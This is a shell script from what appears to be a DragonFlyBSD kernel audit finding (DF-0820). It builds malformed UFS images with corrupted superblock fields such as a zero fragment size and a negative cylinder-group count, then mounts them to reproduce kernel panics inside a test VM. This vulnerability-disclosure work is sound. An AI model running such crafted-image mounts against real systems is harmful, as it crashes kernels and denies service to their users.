DragonFlyBSD Kernel Audit
DF-0820 / reproduce.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0820 reproduce.sh — runs IN the guest as root.
# Rebuilds craft, creates a base UFS image, patches the requested variant,
# mounts it, and reports. Expects img variant name as $1.
#
# Usage (from host): vm.sh run_root 'sh /root/reproduce.sh <variant>'
#   variant: fsize0 | ncgneg1 | ncghuge | frag0 | sbsizebig
set -u
V="${1:-fsize0}"
cd /root
cc -o craft craft.c 2>/dev/null || { echo "CRAFT_BUILD_FAIL"; exit 3; }

# Fresh base image
rm -f base.img "img_${V}.img"
truncate -s 4M base.img
vnconfig -u vn0 2>/dev/null || true
vnconfig -c vn0 base.img
newfs -v /dev/vn0 >/dev/null 2>&1
vnconfig -u vn0

case "$V" in
  fsize0)    ./craft base.img img_fsize0.img    fs_fsize=0 ;;
  ncgneg1)   ./craft base.img img_ncgneg1.img   fs_ncg=-1 ;;
  ncghuge)   ./craft base.img img_ncghuge.img   fs_ncg=858993460 ;;
  frag0)     ./craft base.img img_frag0.img     fs_frag=0 ;;
  sbsizebig) ./craft base.img img_sbsizebig.img fs_sbsize=65536 ;;
  *) echo "unknown variant $V"; exit 4 ;;
esac

mkdir -p /mnt/test
vnconfig -c vn0 "img_${V}.img"
echo "=== MOUNT $V (expect panic for fsize0/ncgneg1/ncghuge/sbsizebig) ==="
mount -t ufs /dev/vn0 /mnt/test 2>&1
echo "MOUNT_RC=$? (reached only if no panic)"
umount /mnt/test 2>/dev/null
vnconfig -u vn0 2>/dev/null